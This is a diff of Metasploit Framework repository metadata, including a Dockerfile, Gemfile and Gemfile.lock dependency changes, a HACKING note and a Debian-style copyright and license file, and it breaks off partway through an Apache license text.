[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers
+1 -1
View File
@@ -1,4 +1,4 @@
Copyright (C) 2006-2020, Rapid7, Inc.
Copyright (C) 2006-2016, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
-20
View File
@@ -1,20 +0,0 @@
Active Metasploit 5 development will sometimes push aggressive changes.
Integrations with 3rd-party tools, as well as general usage, may change quickly
from day to day. Some of the steps for dealing with major changes will be
documented here. We will continue to maintain the Metasploit 4.x branch until
Metasploit 5.0 is released.
**2018/01/17 - [internal] module cache reworked to not store metadata in PostgreSQL**
Metasploit no longer stores module metadata in a PostgreSQL database, instead
storing it in a cache file in your local ~/.msf4 config directory. This has a
number of advantages:
* Fast searches whether you have the database enabled or not (no more slow search mode)
* Faster load time for msfconsole, the cache loads more quickly
* Private module data is not uploaded to a shared database, no collisions
* Adding or deleting modules no longer displays file-not-found error messages on start in msfconsole
* Reduced memory consumption
Code that reads directly from the Metasploit database for module data will need
to use the new module search API.
-70
View File
@@ -1,70 +0,0 @@
FROM ruby:2.6.6-alpine3.10 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
ENV APP_HOME=/usr/src/metasploit-framework
ENV BUNDLE_IGNORE_MESSAGES="true"
WORKDIR $APP_HOME
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME/
COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/version.rb
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
RUN apk add --no-cache \
autoconf \
bison \
build-base \
ruby-dev \
openssl-dev \
readline-dev \
sqlite-dev \
postgresql-dev \
libpcap-dev \
libxml2-dev \
libxslt-dev \
yaml-dev \
zlib-dev \
ncurses-dev \
git \
&& echo "gem: --no-document" > /etc/gemrc \
&& gem update --system 3.0.6 \
&& bundle install --force --clean --no-cache --system $BUNDLER_ARGS \
# temp fix for https://github.com/bundler/bundler/issues/6680
&& rm -rf /usr/local/bundle/cache \
# needed so non root users can read content of the bundle
&& chmod -R a+r /usr/local/bundle
FROM ruby:2.6.5-alpine3.10
LABEL maintainer="Rapid7"
ENV APP_HOME=/usr/src/metasploit-framework
ENV NMAP_PRIVILEGED=""
ENV METASPLOIT_GROUP=metasploit
# used for the copy command
RUN addgroup -S $METASPLOIT_GROUP
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python python3 ncurses libcap su-exec alpine-sdk python2-dev openssl-dev py-pip
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
COPY --from=builder /usr/local/bundle /usr/local/bundle
RUN chown -R root:metasploit /usr/local/bundle
COPY . $APP_HOME/
RUN chown -R root:metasploit $APP_HOME/
RUN chmod 664 $APP_HOME/Gemfile.lock
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
RUN pip install impacket
WORKDIR $APP_HOME
# we need this entrypoint to dynamically create a user
# matching the hosts UID and GID so we can mount something
# from the users home directory. If the IDs don't match
# it results in access denied errors.
ENTRYPOINT ["docker/entrypoint.sh"]
CMD ["./msfconsole", "-r", "docker/msfconsole.rc", "-y", "$APP_HOME/config/database.yml"]
+12 -16
View File
@@ -3,12 +3,12 @@ source 'https://rubygems.org'
# spec.add_runtime_dependency '<name>', [<version requirements>]
gemspec name: 'metasploit-framework'
gem 'sqlite3', '~>1.3.0'
# separate from test as simplecov is not run on travis-ci
group :coverage do
# code coverage for tests
gem 'simplecov', '0.18.2'
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
gem 'simplecov'
end
group :development do
@@ -17,21 +17,15 @@ group :development do
# generating documentation
gem 'yard'
# for development and testing purposes
gem 'pry-byebug'
gem 'pry'
# module documentation
gem 'octokit'
# memory profiling
gem 'memory_profiler'
# cpu profiling
gem 'ruby-prof'
# Metasploit::Aggregator external session proxy
# disabled during 2.5 transition until aggregator is available
#gem 'metasploit-aggregator'
gem 'octokit', '~> 4.0'
# rails-upgrade staging gems
end
group :development, :test do
# automatically include factories from spec/factories
gem 'factory_bot_rails'
gem 'factory_girl_rails'
# Make rspec output shorter and more useful
gem 'fivemat'
# running documentation generation tasks and rspec tasks
@@ -39,12 +33,14 @@ group :development, :test do
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
# environment is development
gem 'rspec-rails'
gem 'rspec-rerun'
gem 'rubocop'
gem 'swagger-blocks'
end
group :test do
# cucumber extension for testing command line applications, like msfconsole
gem 'aruba'
# cucumber + automatic database cleaning with database_cleaner
gem 'cucumber-rails', :require => false
gem 'shoulda-matchers'
# Manipulate Time.now in specs
gem 'timecop'
end
+3 -4
View File
@@ -27,9 +27,8 @@ end
# Create a custom group
group :local do
# This is the first way to add a non-standard gem file dependency in.
# Use pry-debugger to step through code during development
gem 'pry-debugger', '~> 0.2'
# Add the lab gem so that the 'lab' plugin will work again
gem 'lab', '~> 0.2.7'
# And this is another way that references local directories to find and compile the gem file as needed.
# This is the optimal method for testing Gem PRs such as those in rex-text or rex-powershell.
gem 'rex-powershell', path: '../rex-powershell'
end
+215 -381
View File
@@ -1,465 +1,299 @@
PATH
remote: .
specs:
metasploit-framework (6.0.9)
actionpack (~> 5.2.2)
activerecord (~> 5.2.2)
activesupport (~> 5.2.2)
aws-sdk-ec2
aws-sdk-iam
aws-sdk-s3
metasploit-framework (4.12.15)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
bcrypt
bcrypt_pbkdf
bit-struct
bson
concurrent-ruby (= 1.0.5)
dnsruby
ed25519
em-http-request
eventmachine
faker
faraday
faye-websocket
filesize
hrr_rb_ssh (= 0.3.0.pre2)
irb
jsobfu
json
metasm
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.14)
metasploit-payloads (= 1.1.13)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.2)
mqtt
metasploit_payloads-mettle
msgpack
nessus_rest
net-ldap
net-ssh
network_interface
nexpose
nokogiri
octokit
openssl-ccm
openvas-omp
packetfu
patch_finder
pcaprub
pdf-reader
pg
railties
rb-readline
rb-readline-r7
recog
redcarpet
rex-arch
rex-bin_tools
rex-core
rex-encoder
rex-exploitation
rex-java
rex-mime
rex-nop
rex-ole
rex-powershell
rex-random_identifier
rex-registry
rex-rop_builder
rex-socket
rex-sslscan
rex-struct2
rex-text
rex-zip
ruby-macho
ruby_smb (~> 2.0)
rubyntlm
robots
rubyzip
sinatra
sqlite3
sshkey
thin
tzinfo
tzinfo-data
warden
windows_error
xdr
xmlrpc
GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.0.3)
actionpack (5.2.4.4)
actionview (= 5.2.4.4)
activesupport (= 5.2.4.4)
rack (~> 2.0, >= 2.0.8)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
actionpack (4.2.7)
actionview (= 4.2.7)
activesupport (= 4.2.7)
rack (~> 1.6)
rack-test (~> 0.6.2)
rails-dom-testing (~> 1.0, >= 1.0.5)
rails-html-sanitizer (~> 1.0, >= 1.0.2)
actionview (5.2.4.4)
activesupport (= 5.2.4.4)
actionview (4.2.7)
activesupport (= 4.2.7)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.0.3)
activemodel (5.2.4.4)
activesupport (= 5.2.4.4)
activerecord (5.2.4.4)
activemodel (= 5.2.4.4)
activesupport (= 5.2.4.4)
arel (>= 9.0)
activesupport (5.2.4.4)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
erubis (~> 2.7.0)
rails-dom-testing (~> 1.0, >= 1.0.5)
rails-html-sanitizer (~> 1.0, >= 1.0.2)
activemodel (4.2.7)
activesupport (= 4.2.7)
builder (~> 3.1)
activerecord (4.2.7)
activemodel (= 4.2.7)
activesupport (= 4.2.7)
arel (~> 6.0)
activesupport (4.2.7)
i18n (~> 0.7)
json (~> 1.7, >= 1.7.7)
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1)
addressable (2.7.0)
public_suffix (>= 2.0.2, < 5.0)
afm (0.2.2)
arel (9.0.0)
arel-helpers (2.11.0)
activerecord (>= 3.1.0, < 7)
ast (2.4.1)
aws-eventstream (1.1.0)
aws-partitions (1.374.0)
aws-sdk-core (3.107.0)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.239.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.195.0)
aws-sdk-core (~> 3, >= 3.99.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.45.0)
aws-sdk-core (~> 3, >= 3.99.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.38.0)
aws-sdk-core (~> 3, >= 3.99.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.81.0)
aws-sdk-core (~> 3, >= 3.104.3)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.2.2)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.16)
bcrypt_pbkdf (1.0.1)
bindata (2.4.8)
bit-struct (0.16)
bson (4.10.0)
builder (3.2.4)
byebug (11.1.3)
coderay (1.1.3)
concurrent-ruby (1.0.5)
cookiejar (0.3.3)
crass (1.0.6)
daemons (1.3.1)
diff-lcs (1.4.4)
dnsruby (1.61.4)
simpleidn (~> 0.1)
docile (1.3.2)
ed25519 (1.2.4)
em-http-request (1.1.7)
addressable (>= 2.3.4)
cookiejar (!= 0.3.1)
em-socksify (>= 0.3)
eventmachine (>= 1.0.3)
http_parser.rb (>= 0.6.0)
em-socksify (0.3.2)
eventmachine (>= 1.0.0.beta.4)
erubi (1.9.0)
eventmachine (1.2.7)
factory_bot (6.1.0)
activesupport (>= 5.0.0)
factory_bot_rails (6.1.0)
factory_bot (~> 6.1.0)
railties (>= 5.0.0)
faker (2.14.0)
i18n (>= 1.6, < 2)
faraday (1.0.1)
addressable (2.4.0)
arel (6.0.3)
arel-helpers (2.3.0)
activerecord (>= 3.1.0, < 6)
aruba (0.14.1)
childprocess (~> 0.5.6)
contracts (~> 0.9)
cucumber (>= 1.3.19)
ffi (~> 1.9.10)
rspec-expectations (>= 2.99)
thor (~> 0.19)
bcrypt (3.1.11)
bit-struct (0.15.0)
builder (3.2.2)
capybara (2.7.1)
addressable
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
rack (>= 1.0.0)
rack-test (>= 0.5.4)
xpath (~> 2.0)
childprocess (0.5.9)
ffi (~> 1.0, >= 1.0.11)
coderay (1.1.1)
contracts (0.14.0)
cucumber (2.4.0)
builder (>= 2.1.2)
cucumber-core (~> 1.5.0)
cucumber-wire (~> 0.0.1)
diff-lcs (>= 1.1.3)
gherkin (~> 4.0)
multi_json (>= 1.7.5, < 2.0)
multi_test (>= 0.1.2)
cucumber-core (1.5.0)
gherkin (~> 4.0)
cucumber-rails (1.4.3)
capybara (>= 1.1.2, < 3)
cucumber (>= 1.3.8, < 3)
mime-types (>= 1.16, < 4)
nokogiri (~> 1.5)
railties (>= 3, < 5)
cucumber-wire (0.0.1)
diff-lcs (1.2.5)
docile (1.1.5)
erubis (2.7.0)
factory_girl (4.7.0)
activesupport (>= 3.0.0)
factory_girl_rails (4.7.0)
factory_girl (~> 4.7.0)
railties (>= 3.0.0)
faraday (0.9.2)
multipart-post (>= 1.2, < 3)
faye-websocket (0.11.0)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
filesize (0.2.0)
fivemat (1.3.7)
hashery (2.1.2)
hrr_rb_ssh (0.3.0.pre2)
ed25519 (~> 1.2)
http_parser.rb (0.6.0)
i18n (1.8.5)
concurrent-ruby (~> 1.0)
io-console (0.5.6)
irb (1.2.7)
reline (>= 0.1.5)
jmespath (1.4.0)
jsobfu (0.4.2)
rkelly-remix
json (2.3.1)
loofah (2.7.0)
crass (~> 1.0.2)
ffi (1.9.14)
filesize (0.1.1)
fivemat (1.3.2)
gherkin (4.0.0)
i18n (0.7.0)
jsobfu (0.4.1)
rkelly-remix (= 0.0.6)
json (1.8.3)
loofah (2.0.3)
nokogiri (>= 1.5.9)
memory_profiler (0.9.14)
metasm (1.0.4)
metasploit-concern (3.0.0)
activemodel (~> 5.2.2)
activesupport (~> 5.2.2)
railties (~> 5.2.2)
metasploit-credential (4.0.2)
metasm (1.0.2)
metasploit-concern (2.0.1)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-credential (2.0.3)
metasploit-concern
metasploit-model
metasploit_data_models (>= 3.0.0)
net-ssh
metasploit_data_models
pg
railties
rex-socket
rubyntlm
rubyzip
metasploit-model (3.0.0)
activemodel (~> 5.2.2)
activesupport (~> 5.2.2)
railties (~> 5.2.2)
metasploit-payloads (2.0.14)
metasploit_data_models (4.0.2)
activerecord (~> 5.2.2)
activesupport (~> 5.2.2)
metasploit-model (2.0.0)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.1.13)
metasploit_data_models (2.0.0)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
metasploit-concern
metasploit-model
pg
railties (~> 5.2.2)
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (1.0.2)
method_source (1.0.0)
mini_portile2 (2.4.0)
minitest (5.14.2)
mqtt (0.5.0)
msgpack (1.3.3)
multipart-post (2.1.1)
mustermann (1.1.1)
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-ldap (0.16.3)
net-ssh (6.1.0)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.10.10)
mini_portile2 (~> 2.4.0)
octokit (4.18.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.2)
openssl-cmac (2.0.1)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
parallel (1.19.2)
parser (2.7.1.5)
ast (~> 2.4.1)
metasploit_payloads-mettle (0.0.5)
method_source (0.8.2)
mime-types (3.1)
mime-types-data (~> 3.2015)
mime-types-data (3.2016.0521)
mini_portile2 (2.1.0)
minitest (5.9.0)
msgpack (1.0.0)
multi_json (1.12.1)
multi_test (0.1.2)
multipart-post (2.0.0)
net-ssh (3.2.0)
network_interface (0.0.1)
nokogiri (1.6.8)
mini_portile2 (~> 2.1.0)
pkg-config (~> 1.1.7)
octokit (4.3.0)
sawyer (~> 0.7.0, >= 0.5.3)
openssl-ccm (1.2.1)
packetfu (1.1.11)
network_interface (~> 0.0)
pcaprub (~> 0.12)
patch_finder (1.0.2)
pcaprub (0.13.0)
pdf-reader (2.4.1)
Ascii85 (~> 1.0.0)
afm (~> 0.2.1)
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.2.3)
pry (0.13.1)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.9.0)
byebug (~> 11.0)
pry (~> 0.13.0)
public_suffix (4.0.6)
rack (2.2.3)
rack-protection (2.1.0)
rack
rack-test (1.1.0)
rack (>= 1.0, < 3)
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
nokogiri (>= 1.6)
rails-html-sanitizer (1.3.0)
loofah (~> 2.3)
railties (5.2.4.4)
actionpack (= 5.2.4.4)
activesupport (= 5.2.4.4)
method_source
pcaprub (0.12.4)
pg (0.18.4)
pg_array_parser (0.0.9)
pkg-config (1.1.7)
postgres_ext (3.0.0)
activerecord (>= 4.0.0)
arel (>= 4.0.1)
pg_array_parser (~> 0.0.9)
pry (0.10.4)
coderay (~> 1.1.0)
method_source (~> 0.8.1)
slop (~> 3.4)
rack (1.6.4)
rack-test (0.6.3)
rack (>= 1.0)
rails-deprecated_sanitizer (1.0.3)
activesupport (>= 4.2.0.alpha)
rails-dom-testing (1.0.7)
activesupport (>= 4.2.0.beta, < 5.0)
nokogiri (~> 1.6.0)
rails-deprecated_sanitizer (>= 1.0.1)
rails-html-sanitizer (1.0.3)
loofah (~> 2.0)
railties (4.2.7)
actionpack (= 4.2.7)
activesupport (= 4.2.7)
rake (>= 0.8.7)
thor (>= 0.19.0, < 2.0)
rainbow (3.0.0)
rake (13.0.1)
rb-readline (0.5.5)
recog (2.3.14)
thor (>= 0.18.1, < 2.0)
rake (11.2.2)
rb-readline-r7 (0.5.2.0)
recog (2.0.21)
nokogiri
redcarpet (3.5.0)
regexp_parser (1.8.0)
reline (0.1.5)
io-console (~> 0.5)
rex-arch (0.1.13)
rex-text
rex-bin_tools (0.1.6)
metasm
rex-arch
rex-core
rex-struct2
rex-text
rex-core (0.1.13)
rex-encoder (0.1.4)
metasm
rex-arch
rex-text
rex-exploitation (0.1.24)
jsobfu
metasm
rex-arch
rex-encoder
rex-text
rex-java (0.1.5)
rex-mime (0.1.5)
rex-text
rex-nop (0.1.1)
rex-arch
rex-ole (0.1.6)
rex-text
rex-powershell (0.1.87)
redcarpet (3.3.4)
rex-java (0.1.2)
rex-powershell (0.1.0)
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.4)
rex-random_identifier (0.1.0)
rex-text
rex-registry (0.1.3)
rex-rop_builder (0.1.3)
metasm
rex-core
rex-registry (0.1.0)
rex-struct2 (0.1.0)
rex-text (0.1.1)
rex-zip (0.1.0)
rex-text
rex-socket (0.1.24)
rex-core
rex-sslscan (0.1.5)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.2)
rex-text (0.2.28)
rex-zip (0.1.3)
rex-text
rexml (3.2.4)
rkelly-remix (0.0.7)
rspec (3.9.0)
rspec-core (~> 3.9.0)
rspec-expectations (~> 3.9.0)
rspec-mocks (~> 3.9.0)
rspec-core (3.9.2)
rspec-support (~> 3.9.3)
rspec-expectations (3.9.2)
rkelly-remix (0.0.6)
robots (0.10.1)
rspec-core (3.5.1)
rspec-support (~> 3.5.0)
rspec-expectations (3.5.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.9.0)
rspec-mocks (3.9.1)
rspec-support (~> 3.5.0)
rspec-mocks (3.5.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.9.0)
rspec-rails (4.0.1)
actionpack (>= 4.2)
activesupport (>= 4.2)
railties (>= 4.2)
rspec-core (~> 3.9)
rspec-expectations (~> 3.9)
rspec-mocks (~> 3.9)
rspec-support (~> 3.9)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.9.3)
rubocop (0.91.1)
parallel (~> 1.10)
parser (>= 2.7.1.1)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.7)
rexml
rubocop-ast (>= 0.4.0, < 1.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 2.0)
rubocop-ast (0.4.2)
parser (>= 2.7.1.4)
ruby-macho (2.2.0)
ruby-prof (1.4.1)
ruby-progressbar (1.10.1)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.2)
ruby_smb (2.0.6)
bindata
openssl-ccm
openssl-cmac
rubyntlm
windows_error
rubyntlm (0.6.2)
rubyzip (2.3.0)
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
simplecov (0.18.2)
docile (~> 1.1)
simplecov-html (~> 0.11)
simplecov-html (0.12.3)
simpleidn (0.1.1)
unf (~> 0.1.4)
sinatra (2.1.0)
mustermann (~> 1.0)
rack (~> 2.2)
rack-protection (= 2.1.0)
tilt (~> 2.0)
sqlite3 (1.3.13)
sshkey (2.0.0)
swagger-blocks (3.0.0)
thin (1.7.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (1.0.1)
thread_safe (0.3.6)
tilt (2.0.10)
timecop (0.9.1)
ttfunk (1.6.2.1)
tzinfo (1.2.7)
rspec-support (~> 3.5.0)
rspec-rails (3.5.1)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
rspec-core (~> 3.5.0)
rspec-expectations (~> 3.5.0)
rspec-mocks (~> 3.5.0)
rspec-support (~> 3.5.0)
rspec-support (3.5.0)
rubyntlm (0.6.0)
rubyzip (1.2.0)
sawyer (0.7.0)
addressable (>= 2.3.5, < 2.5)
faraday (~> 0.8, < 0.10)
shoulda-matchers (3.1.1)
activesupport (>= 4.0.0)
simplecov (0.12.0)
docile (~> 1.1.0)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
simplecov-html (0.10.0)
slop (3.6.0)
sqlite3 (1.3.11)
sshkey (1.8.0)
thor (0.19.1)
thread_safe (0.3.5)
timecop (0.8.1)
tzinfo (1.2.2)
thread_safe (~> 0.1)
tzinfo-data (1.2020.1)
tzinfo-data (1.2016.6)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.7.7)
unicode-display_width (1.7.0)
warden (1.2.9)
rack (>= 2.0.9)
websocket-driver (0.7.3)
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
windows_error (0.1.2)
xdr (3.0.1)
activemodel (>= 5.2.0)
activesupport (>= 5.2.0)
xmlrpc (0.3.0)
yard (0.9.25)
xpath (2.0.0)
nokogiri (~> 1.3)
yard (0.9.0)
PLATFORMS
ruby
DEPENDENCIES
factory_bot_rails
aruba
cucumber-rails
factory_girl_rails
fivemat
memory_profiler
metasploit-framework!
octokit
pry-byebug
octokit (~> 4.0)
pry
rake
redcarpet
rspec-rails
rspec-rerun
rubocop
ruby-prof
simplecov (= 0.18.2)
sqlite3 (~> 1.3.0)
swagger-blocks
shoulda-matchers
simplecov
timecop
yard
BUNDLED WITH
1.17.3
1.12.5
+38
View File
@@ -0,0 +1,38 @@
HACKING
=======
(Last updated: 2014-03-04)
This document almost entirely deprecated by:
CONTRIBUTING.md
in the same directory as this file, and to a lesser extent:
The Metasploit Development Environment
https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
Common Coding Mistakes
https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
The Ruby Style Guide
https://github.com/bbatsov/ruby-style-guide
Ruby 1.9: What to Expect
http://slideshow.rubyforge.org/ruby19.html
You can use the the "./tools/msftidy.rb" script against your new and
changed modules to do some rudimentary checking for various style and
syntax violations.
Licensing for Your New Content
==============================
By submitting code contributions to the Metasploit Project it is
assumed that you are offering your code under the Metasploit License
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
are also fine. We specifically cannot include GPL code. LGPL code
is accepted on a case by case basis for libraries only and is never
accepted for modules.
+171 -65
View File
@@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Source: http://www.metasploit.com/
Files: *
Copyright: 2006-2020, Rapid7, Inc.
Copyright: 2006-2016, Rapid7, Inc.
License: BSD-3-clause
# The Metasploit Framework is provided under the 3-clause BSD license provided
@@ -15,15 +15,23 @@ License: BSD-3-clause
# Last updated: 2013-Nov-04
#
Files: data/exploits/mysql/lib_mysqludf_sys_*.so
Copyright: 2007 Roland Bouman
2008-2010 Roland Bouman and Bernardo Damele A. G.
License: LGPL-2.1
Files: data/templates/to_mem_pshreflection.ps1.template
Copyright: 2012, Matthew Graeber
License: BSD-3-clause
Files: data/john/*
Copyright: 1996-2011 Solar Designer.
License: GPL-2
Files: external/pcaprub/*
Copyright: 2007-2008, Alastair Houghton
License: LGPL-2.1
Files: external/ruby-kissfft/*
Copyright: 2003-2010 Mark Borgerding
2009-2012 H D Moore <hdm[at]rapid7.com>
License: BSD-3-clause
Files: external/source/exploits/IE11SandboxEscapes/*
Copyright: James Forshaw, 2014
License: GPLv3
@@ -71,22 +79,38 @@ Files: lib/anemone.rb lib/anemone/*
Copyright: 2009 Vertive, Inc.
License: MIT
Files: lib/expect.rb
Copyright: 2017 Yukihiro Matsumoto
Files: lib/bit-struct.rb lib/bit-struct/*
Copyright: 2005-2009, Joel VanderWerf
License: Ruby
Files: lib/msf/core/modules/external/python/async_timeout/*
Copyright: 2016-2017 Andrew Svetlov
License: Apache 2.0
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
Copyright: 2006-2010 Yoann GUILLOT
License: LGPL-2.1
Files: lib/nessus/*
Copyright: Vlatoko Kosturjak
License: BSD-3-clause
Files: lib/net/dns.rb lib/net/dns/*
Copyright: 2006 Marco Ceresa
License: Ruby
Files: lib/net/ssh.rb lib/net/ssh/*
Copyright: 2008 Jamis Buck <jamis@37signals.com>
License: MIT
Files: lib/packetfu.rb lib/packetfu/*
Copyright: 2008-2012 Tod Beardsley
License: BSD-3-clause
Files: lib/postgres_msf.rb lib/postgres/postgres-pr/message.rb lib/postgres/postgres-pr/connection.rb
Copyright: 2005 Michael Neumann
License: BSD-3-clause or Ruby
Files: lib/openvas/*
Copyright: No copyright statement provided
License: MIT
Files: lib/rabal/*
Copyright: Jeremy Hinegadner <jeremy at hinegardner dot org>
License: Ruby
@@ -95,10 +119,22 @@ Files: lib/rbmysql.rb lib/rbmysql/*
Copyright: 2009 tommy
License: Ruby
Files: lib/rbreadline.rb
Copyright: 2009 Park Heesob
License: BSD-3-clause
Files: lib/rkelly/*
Copyright: 2007, 2008, 2009 Aaron Patternson, John Barnette
License: MIT
Files: lib/snmp.rb lib/snmp/*
Copyright: 2004, David R. Halliday
License: Ruby
Files: lib/sshkey.rb lib/sshkey/*
Copyright: 2011 James Miller
License: MIT
Files: lib/windows_console_color_support.rb
Copyright: 2011 Michael 'mihi' Schierl
License: BSD-3-clause
@@ -115,13 +151,131 @@ Files: data/webcam/api.js
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
License: MIT
Files: lib/msf/core/web_services/public/*, lib/msf/core/web_services/views/api_docs.erb
Copyright: Copyright 2018 SmartBear Software
License: Apache 2.0
Files: data/jtr/*
Copyright: Copyright 1996-2013 by Solar Designer
License: GNU GPL 2.0
#
# Gems
#
Files: activemodel
Copyright: 2004-2011 David Heinemeier Hansson
License: MIT
Files: activerecord
Copyright: 2004-2011 David Heinemeier Hansson
License: MIT
Files: activesupport
Copyright: 2005-2011 David Heinemeier Hansson
License: MIT
Files: arel
Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson
License: MIT
Files: bcrypt
Copyright: 2007-2011 Coda Hale
License: MIT
Files: builder
Copyright: 2003-2012 Jim Weirich (jim.weirich@gmail.com)
License: MIT
Files: database_cleaner
Copyright: 2009 Ben Mabey
License: MIT
Files: diff-lcs
Copyright: 2004-2011 Austin Ziegler
License: MIT
Files: factory_girl
Copyright: 2008-2013 Joe Ferris and thoughtbot, inc.
License: MIT
Files: fivemat
Copyright: 2012 Tim Pope
License: MIT
Files: i18n
Copyright: 2008 The Ruby I18n team
License: MIT
Files: json
Copyright: Daniel Luz <dev at mernen dot com>
License: Ruby
Files: metasploit_data_models
Copyright: 2012 Rapid7, Inc.
License: MIT
Files: mini_portile
Copyright: 2011 Luis Lavena
License: MIT
Files: msgpack
Copyright: Austin Ziegler
License: Ruby
Files: multi_json
Copyright: 2010 Michael Bleigh, Josh Kalderimis, Erik Michaels-Ober, and Intridea, Inc.
License: MIT
Files: network_interface
Copyright: 2012, Rapid7, Inc.
License: MIT
Files: nokogiri
Copyright: 2008 - 2012 Aaron Patterson, Mike Dalessio, Charles Nutter, Sergio Arbeo, Patrick Mahoney, Yoko Harada
License: MIT
Files: packetfu
Copyright: 2008-2012 Tod Beardsley
License: BSD-3-clause
Files: pcaprub
Copyright: 2007-2008, Alastair Houghton
License: LGPL-2.1
Files: pg
Copyright: 1997-2012 by the authors
License: Ruby
Files: rake
Copyright: 2003, 2004 Jim Weirich
License: MIT
Files: redcarpet
Copyright: 2009 Natacha Porté
License: MIT
Files: robots
Copyright: 2008 Kyle Maxwell, contributors
License: MIT
Files: rspec
Copyright: 2009 Chad Humphries, David Chelimsky
License: MIT
Files: shoulda-matchers
Copyright: 2006-2013, Tammer Saleh, thoughtbot, inc.
License: MIT
Files: simplecov
Copyright: 2010-2012 Christoph Olszowka
License: MIT
Files: timecop
Copyright: 2012 Travis Jeffery, John Trupiano
License: MIT
Files: tzinfo
Copyright: 2005-2006 Philip Ross
License: MIT
Files: yard
Copyright: 2007-2013 Loren Segal
License: MIT
License: BSD-2-clause
Redistribution and use in source and binary forms, with or without modification,
@@ -611,54 +765,6 @@ License: Artistic
DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THE PACKAGE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
License: Apache
Version 1.1, 2000
Modifications by CORE Security Technologies
.
Copyright (c) 2000 The Apache Software Foundation. All rights
reserved.
.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
.
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the
distribution.
.
3. The end-user documentation included with the redistribution,
if any, must include the following acknowledgment:
"This product includes software developed by
CORE Security Technologies (http://www.coresecurity.com/)."
Alternately, this acknowledgment may appear in the software itself,
if and wherever such third-party acknowledgments normally appear.
.
4. The names "Impacket" and "CORE Security Technologies" must
not be used to endorse or promote products derived from this
software without prior written permission. For written
permission, please contact oss@coresecurity.com.
.
